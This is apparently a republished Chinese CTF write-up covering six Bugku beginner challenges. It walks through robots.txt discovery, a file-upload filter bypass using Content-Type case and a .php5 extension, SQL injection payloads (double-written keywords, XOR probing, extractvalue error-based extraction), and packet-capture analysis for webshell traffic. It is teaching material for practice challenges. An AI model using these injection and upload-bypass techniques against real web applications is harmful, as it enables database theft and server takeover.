【CTF web入门第七篇】web入门

admin 2021年6月23日22:56:43评论135 views字数 3483阅读11分36秒阅读模式

bugku-ctf 第一题:细心

这个题主要在于细心,还有就是对robots.txt的了解。

 

【CTF web入门第七篇】web入门

访问看看http://123.206.87.240:8002/web13/

【CTF web入门第七篇】web入门

进来后发现是这样了我瞎点了下也没发现什么东西

之后就尝试下寻找txt

http://120.24.86.145:8002/web13/robots.txt

发现了这样的一句话

User-agent: *

Disallow: /resusl.php

【CTF web入门第七篇】web入门

【CTF web入门第七篇】web入门

By bugkuctf.

if ($_GET[x]==$password) 此处省略1w

根据上面的php代码

我们构造x=admin

http://120.24.86.145:8002/web13/resusl.php?x=admin

便能得到flag

【CTF web入门第七篇】web入门

得到flag(ctf_0098_lkji-s)

这个题主要在于细心,还有就是对robots.txt的了解。


bugku-ctf 第二题:求getshell

【CTF web入门第七篇】web入门

访问看看

【CTF web入门第七篇】web入门

应该是考的上传漏洞

这道题是后缀名黑名单检测和类型检测

 

1. 把请求头里面的Content-Type字母改成大写进行绕过

2. .jpg后面加上.php5其他的都被过滤了好像

 如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag

 

【CTF web入门第七篇】web入门

【CTF web入门第七篇】web入门

KEY{bb35dc123820e}

 

此题考点在上传绕过

 

 

 

bugku-ctf 第三题:多次

【CTF web入门第七篇】web入门

访问看下

【CTF web入门第七篇】web入门

登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入

?id=1'or 1=1--+ 也报错,可能存在过滤

尝试双写绕过,?id=1'oorr 1=1--+ 返回正常

 

那如何检测哪些字符串被过滤了呢?新技能GET!

异或注入了解一下,两个条件相同(同真或同假)即为假

 

?id=1'^(length('union')!=0)--+

 

如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

同理测试出被过滤的字符串有:and,or,union,select

 

都用双写来绕过,payload如下:

爆数据表 (注意:information里面也有or)

?id=-1'ununionion seselectlect 1,group_concat(table_name) frominfoorrmation_schema.tables where table_schema=database()--+

【CTF web入门第七篇】web入门

爆字段

?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27flag1%27--+

【CTF web入门第七篇】web入门

爆数据

?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(flag1)%20from%20flag1--+

【CTF web入门第七篇】web入门

提交flag显示错误,换个字段

address,得出下一关地址

?id=-1'ununionion seselectlect 1,group_concat(address) from flag1--+

【CTF web入门第七篇】web入门

打开之后

【CTF web入门第七篇】web入门

当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入。

【CTF web入门第七篇】web入门

爆字段数

?id=1' order by2--+ 正常

?id=1' order by3--+ 报错

【CTF web入门第七篇】web入门

爆库

?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+

【CTF web入门第七篇】web入门

爆表

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables wheretable_schema="web1002-2"),0x7e)))--+

【CTF web入门第七篇】web入门

爆列

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns wheretable_schema="web1002-2" and table_name="flag2"),0x7e)))--+

【CTF web入门第七篇】web入门

flag

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e)))--+

【CTF web入门第七篇】web入门

得到

flag{Bugku-sql_6s-2i-4t-bug}

flag均为小写 flag{bugku-sql_6s-2i-4t-bug}

本地主要是sql注入,报错注入以及异或注入

 

bugku-ctf 第四题:日志审计

【CTF web入门第七篇】web入门

下载后是一个txt
不用pcap的原因应该是可能怕我们提取数据太麻烦,写脚本不好写,因此直接给个txt文件。

那么先打开txt文件分析,

这个已经很友善了,网址那里已经sqli_blind提示了,
那么这就是一道sql盲注复现的流量分析。

【CTF web入门第七篇】web入门

知识点:

 

sql二分法盲注

一些sql常见语句

分析正常字符出现的条件

写脚本进行数据提取(ps:最难就是这里,不过到时候不会可以人工手动提取

 

根据盲注的原理,

直接拉到txt最后面,

因为最后面的那一段才是判断出flag的。

 notepad++ 的插件中的  MIME Tool  中的  URL decode 解一下码~

【CTF web入门第七篇】web入门

还是来复习下盲注的知识,(虽然对解题用处不大)

【CTF web入门第七篇】web入门

每一条语句返回的状态码有 200 和404  。

我们可以看到 200状态码对应的ASCII值是1765 , 404状态码对应的ASCII值是5476 。

 

【CTF web入门第七篇】web入门

我们往后继续看~

看到有 flag_is_here 的记录...

sql盲注里测试的字符的 最后一条状态码为 200的语句 ASCII值再加1就是猜解正确的ASCII值,转换成字符就是我们需要的答案的其中一个字符。

下面以第一个字符作为例子:

【CTF web入门第七篇】web入门

我们可以看到当 LIMIT 0,1),1,1))>101 时,是第一个字符的最后一个 状态码为 200 的语句,这时的ASCII码是 101 ,那么 101+1=102 ASCII码为 102 对应的是  f  ,因此flag的第一个字符就为  f  

【CTF web入门第七篇】web入门

第二个就是108

【CTF web入门第七篇】web入门

第三个

【CTF web入门第七篇】web入门

97—对应的a

 

101+1=102 -->f

107+1=108 -->l

96+1=97 -->a

102+1=103 -->g

 

由于字符比较多,我们就不一一列举了,以上就是flag的前四个字符。

最多得出flag{sqlm4p_15_p0werful}

 

这个题的经验在于,对注入的了解,sql注入盲注



bugku-ctf 第五题:flag被盗

【CTF web入门第七篇】web入门

先点击下载看看

key.pcapng文件,下载用wireshark打开

【CTF web入门第七篇】web入门

根据题目提示,flag被盗,那么很有可能包里包含了一个文件,至于文件类型就无法准确判断了~

通常,我们可以先用 http协议 ,来看一下pcap包里面包含的信息。

 

筛选http

【CTF web入门第七篇】web入门

【CTF web入门第七篇】web入门

我们可以看到,请求 200 ok ,请求成功。还含有 shell.php ~

任意选择一条含shell.php的内容  右键 =>>追踪流 =>>TCP流  ,看一下详细信息。

 

之后找一个POST请求包,追踪TCP流

【CTF web入门第七篇】web入门

【CTF web入门第七篇】web入门

仔细找一找,flag就在里面flag{This_is_a_f10g}

 

本题要点:wireshark软件使用:http协议过滤、追踪TCP流



bugku-ctf 第六题:这么多数据包

【CTF web入门第七篇】web入门

下载之后解压缩, 是一个 cap 包

通过 wireshark 打开, 可以看到有很多数据包

【CTF web入门第七篇】web入门

根据提示,我们要找到 getshell 流, 经大佬提示, 一般 getshell 流的 TCP 的
报文中很可能包含 command 这个字段, 我们可以通过<协议 contains “内
容” >来查找 getshell 流

 

tcp contains  "command"

【CTF web入门第七篇】web入门

通过追踪 tcp 流, 我们可以看到一段 base64 字符串

【CTF web入门第七篇】web入门

base64 解密, 得到 flag

CCTF{do_you_like_sniffer}

 

这题主要难在不知道怎么找 getshell 流, 需要对各种报文以及 wireshark 的使用方法比较熟悉



本文始发于微信公众号(LemonSec):【CTF web入门第七篇】web入门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月23日22:56:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF web入门第七篇】web入门http://cn-sec.com/archives/301261.html

发表评论

匿名网友 填写信息